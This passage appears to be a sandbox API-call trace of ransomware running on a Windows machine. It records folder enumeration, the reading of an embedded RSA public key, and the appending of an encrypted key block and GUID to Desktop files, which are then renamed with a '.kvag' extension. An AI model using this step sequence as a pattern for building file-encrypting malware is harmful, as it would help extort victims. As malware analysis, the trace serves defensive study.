ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0120.961] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0120.961] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0120.962] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.962] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.962] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0120.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0120.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0120.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.962] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.962] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.962] PathFindFileNameW (pszPath="") returned="" [0120.962] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0120.964] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0120.964] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.965] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.965] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0120.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0120.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0120.966] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.966] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.966] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.966] PathFindFileNameW (pszPath="") returned="" [0120.966] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.967] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.967] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0120.967] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0120.967] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.967] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.967] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.967] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\") returned="RynyhXN0v\\" [0120.967] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\") returned="MnXmRfGpxPOeczS\\" [0120.967] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0120.967] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.967] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.967] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.967] PathFindFileNameW (pszPath="") returned="" [0120.967] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93064e0, ftCreationTime.dwHighDateTime=0x1d4cb44, ftLastAccessTime.dwLowDateTime=0x7a44ebc0, ftLastAccessTime.dwHighDateTime=0x1d4ce36, ftLastWriteTime.dwLowDateTime=0x7a44ebc0, ftLastWriteTime.dwHighDateTime=0x1d4ce36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.969] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93064e0, ftCreationTime.dwHighDateTime=0x1d4cb44, ftLastAccessTime.dwLowDateTime=0x7a44ebc0, ftLastAccessTime.dwHighDateTime=0x1d4ce36, ftLastWriteTime.dwLowDateTime=0x7a44ebc0, ftLastWriteTime.dwHighDateTime=0x1d4ce36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.969] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8353b5b0, ftCreationTime.dwHighDateTime=0x1d4cdab, ftLastAccessTime.dwLowDateTime=0x34c5a070, ftLastAccessTime.dwHighDateTime=0x1d4d594, ftLastWriteTime.dwLowDateTime=0x34c5a070, ftLastWriteTime.dwHighDateTime=0x1d4d594, nFileSizeHigh=0x0, nFileSizeLow=0x429a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4a8tVKirG4kf_.swf", cAlternateFileName="4A8TVK~1.SWF")) returned 1 [0120.969] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\4a8tVKirG4kf_.swf") returned=".swf" [0120.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\4a8tVKirG4kf_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\4a8tvkirg4kf_.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.970] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=17050) returned 1 [0120.970] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.972] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.972] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.976] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x429a, lpOverlapped=0x0) returned 1 [0120.977] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.977] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.977] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.977] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.978] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.978] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.978] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.978] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.978] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.978] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.978] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.978] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.978] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.978] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0120.979] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x429a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.979] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.979] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.979] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.979] CloseHandle (hObject=0x61c) returned 1 [0120.980] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\4a8tVKirG4kf_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\4a8tvkirg4kf_.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\4a8tVKirG4kf_.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\4a8tvkirg4kf_.swf.kvag")) returned 1 [0120.981] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a87cb40, ftCreationTime.dwHighDateTime=0x1d4d3ba, ftLastAccessTime.dwLowDateTime=0x9cbf84c0, ftLastAccessTime.dwHighDateTime=0x1d4cb7b, ftLastWriteTime.dwLowDateTime=0x9cbf84c0, ftLastWriteTime.dwHighDateTime=0x1d4cb7b, nFileSizeHigh=0x0, nFileSizeLow=0x1063d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D6iArC91 Gvdvs4fzbE.mp4", cAlternateFileName="7D6IAR~1.MP4")) returned 1 [0120.981] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\7D6iArC91 Gvdvs4fzbE.mp4") returned=".mp4" [0120.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\7D6iArC91 Gvdvs4fzbE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\7d6iarc91 gvdvs4fzbe.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.982] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=67133) returned 1 [0120.982] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.984] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10617, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.984] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.986] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1063d, lpOverlapped=0x0) returned 1 [0120.987] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.987] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.987] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.987] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.988] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.988] CryptHashData (hHash=0x6183888, pbData=0x6194728, 